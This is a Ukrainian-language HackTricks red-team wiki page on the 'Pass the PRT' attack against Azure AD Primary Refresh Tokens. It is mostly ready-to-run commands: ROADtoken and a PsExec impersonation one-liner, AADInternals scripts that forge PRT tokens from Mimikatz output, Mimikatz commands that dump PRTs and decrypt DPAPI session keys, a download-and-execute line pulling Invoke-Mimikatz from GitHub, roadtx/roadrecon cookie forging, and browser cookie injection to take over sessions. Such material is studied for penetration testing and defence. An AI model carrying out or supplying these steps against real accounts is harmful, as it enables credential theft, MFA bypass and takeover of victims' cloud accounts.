Az - Pass the PRT

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Що таке PRT

Az - Primary Refresh Token (PRT)

Перевірте, чи у вас є PRT

Dsregcmd.exe /status

У розділі SSO State ви повинні побачити, що AzureAdPrt встановлено на YES.

У тому ж виводі ви також можете побачити, чи приєднано пристрій до Azure (у полі AzureAdJoined):

PRT cookie насправді називається x-ms-RefreshTokenCredential і це JSON Web Token (JWT). JWT містить 3 частини, header, payload і signature, розділені . і всі закодовані в url-safe base64. Типовий PRT cookie містить наступний header і body:

{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}

Актуальний Primary Refresh Token (PRT) інкапсульований у refresh_token, який зашифрований ключем під контролем Azure AD, що робить його вміст непрозорим і недекодуємим для нас. Поле is_primary означає інкапсуляцію основного токена оновлення в цьому токені. Щоб забезпечити прив'язку cookie до конкретної сесії входу, для якої вона була призначена, request_nonce передається зі сторінки logon.microsoftonline.com.

Процес LSASS відправить до TPM KDF context, і TPM використає session key (отриманий під час реєстрації пристрою в AzureAD і збережений у TPM) та попередній контекст для виведення ключа, і цей виведений ключ використовується для підпису PRT cookie (JWT).

KDF context - це nonce з AzureAD і PRT, що створює JWT, змішаний з контекстом (випадкові байти).

Таким чином, навіть якщо PRT не може бути витягнутий, оскільки він знаходиться всередині TPM, можливо зловживати LSASS для запиту виведених ключів з нових контекстів і використання згенерованих ключів для підпису Cookies.

Сценарії зловживання PRT

Як звичайний користувач можливо запросити використання PRT, звернувшись до LSASS за даними SSO. Це можна зробити як нативні додатки, які запитують токени у Web Account Manager (брокер токенів). WAM передає запит до LSASS, який запитує токени, використовуючи підписану PRT assertion. Або це можна зробити за допомогою браузерних (веб) потоків, де PRT cookie використовується як заголовок для автентифікації запитів до сторінок входу Azure AS.

Як SYSTEM ви можете вкрасти PRT, якщо він не захищений TPM або взаємодіяти з PRT ключами в LSASS за допомогою крипто API.

Приклади атак Pass-the-PRT

Атака - ROADtoken

Для отримання додаткової інформації про цей спосіб перевірте цей пост. ROADtoken запустить BrowserCore.exe з правильного каталогу і використає його для отримання PRT cookie. Цей cookie потім можна використовувати з ROADtools для автентифікації та отримання постійного токена оновлення.

Щоб згенерувати дійсний PRT cookie, перше, що вам потрібно, це nonce. Ви можете отримати це за допомогою:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

Або використовуючи roadrecon:

roadrecon auth prt-init

Потім ви можете використовувати roadtoken для отримання нового PRT (запустіть у інструменті з процесу користувача для атаки):

.\ROADtoken.exe <nonce>

Як однолайнер:

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Потім ви можете використовувати згенерований cookie для генерації токенів для входу за допомогою Azure AD Graph або Microsoft Graph:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Атака - Використання roadrecon

Атака - Використання AADInternals та злитого PRT

Get-AADIntUserPRTToken отримує PRT токен користувача з комп'ютера, приєднаного до Azure AD або Hybrid. Використовує BrowserCore.exe для отримання PRT токена.

# Get the PRToken
$prtToken = Get-AADIntUserPRTToken

# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

Або якщо у вас є значення з Mimikatz, ви також можете використовувати AADInternals для генерації токена:

# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."

# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}

# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"

# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser

# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken

# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>

Перейдіть на https://login.microsoftonline.com, видаліть усі cookies для login.microsoftonline.com і введіть новий cookie.

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Потім перейдіть на https://portal.azure.com

Решта повинна бути за замовчуванням. Переконайтеся, що ви можете оновити сторінку і cookie не зникає, якщо це так, можливо, ви зробили помилку і доведеться пройти процес знову. Якщо ні, то все добре.

Атака - Mimikatz

Кроки

  1. PRT (Primary Refresh Token) витягується з LSASS (Local Security Authority Subsystem Service) і зберігається для подальшого використання.

  2. Сесійний ключ витягується наступним. Оскільки цей ключ спочатку видається, а потім повторно шифрується локальним пристроєм, його необхідно розшифрувати за допомогою DPAPI masterkey. Детальну інформацію про DPAPI (Data Protection API) можна знайти в цих ресурсах: HackTricks, а для розуміння його застосування зверніться до Pass-the-cookie attack.

  3. Після розшифрування сесійного ключа, отримуються похідний ключ і контекст для PRT. Вони є важливими для створення PRT cookie. Зокрема, похідний ключ використовується для підпису JWT (JSON Web Token), який складає cookie. Вичерпне пояснення цього процесу надано Dirk-jan, доступне тут.

Зверніть увагу, що якщо PRT знаходиться всередині TPM, а не всередині lsass, mimikatz не зможе його витягти. Однак, буде можливо отримати ключ з похідного ключа з контексту з TPM і використовувати його для підпису cookie (перевірте опцію 3).

Ви можете знайти детальне пояснення виконаного процесу для витягнення цих деталей тут: https://dirkjanm.io/digging-further-into-the-primary-refresh-token/

Це не буде точно працювати після виправлень серпня 2021 року для отримання PRT токенів інших користувачів, оскільки тільки користувач може отримати свій PRT (локальний адміністратор не може отримати доступ до PRT інших користувачів), але може отримати доступ до свого.

Ви можете використовувати mimikatz для витягнення PRT:

mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)

Скопіюйте частину з міткою Prt і збережіть її. Також витягніть ключ сесії (значення KeyValue поля ProofOfPossesionKey), яке ви можете побачити виділеним нижче. Це зашифровано, і нам потрібно буде використовувати наші DPAPI masterkeys, щоб розшифрувати це.

Якщо ви не бачите жодних даних PRT, це може бути тому, що у вас немає жодних PRT, оскільки ваш пристрій не приєднаний до Azure AD, або тому, що ви використовуєте стару версію Windows 10.

Щоб розшифрувати ключ сесії, вам потрібно підвищити свої привілеї до SYSTEM, щоб працювати в контексті комп'ютера і мати можливість використовувати DPAPI masterkey для розшифровки. Ви можете використовувати наступні команди для цього:

token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect

Option 1 - Full Mimikatz

  • Тепер ви хочете скопіювати обидва значення Context:

  • І значення derived key:

  • Нарешті, ви можете використати всю цю інформацію, щоб згенерувати PRT cookies:

Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Решта повинна бути за замовчуванням. Переконайтеся, що ви можете оновити сторінку і cookie не зникає, якщо це так, можливо, ви зробили помилку і вам доведеться пройти процес знову. Якщо ні, то все добре.

Опція 2 - roadrecon використовуючи PRT

  • Спочатку поновіть PRT, що збереже його в roadtx.prt:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • Тепер ми можемо запитувати токени за допомогою інтерактивного браузера з roadtx browserprtauth. Якщо ми використовуємо команду roadtx describe, ми бачимо, що access token включає MFA claim, тому що PRT, який я використовував у цьому випадку, також мав MFA claim.

roadtx browserprtauth
roadtx describe < .roadtools_auth

Option 3 - roadrecon using derived keys

Маючи контекст і derived key, отримані за допомогою mimikatz, можна використовувати roadrecon для генерації нового підписаного cookie з:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

References

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Last updated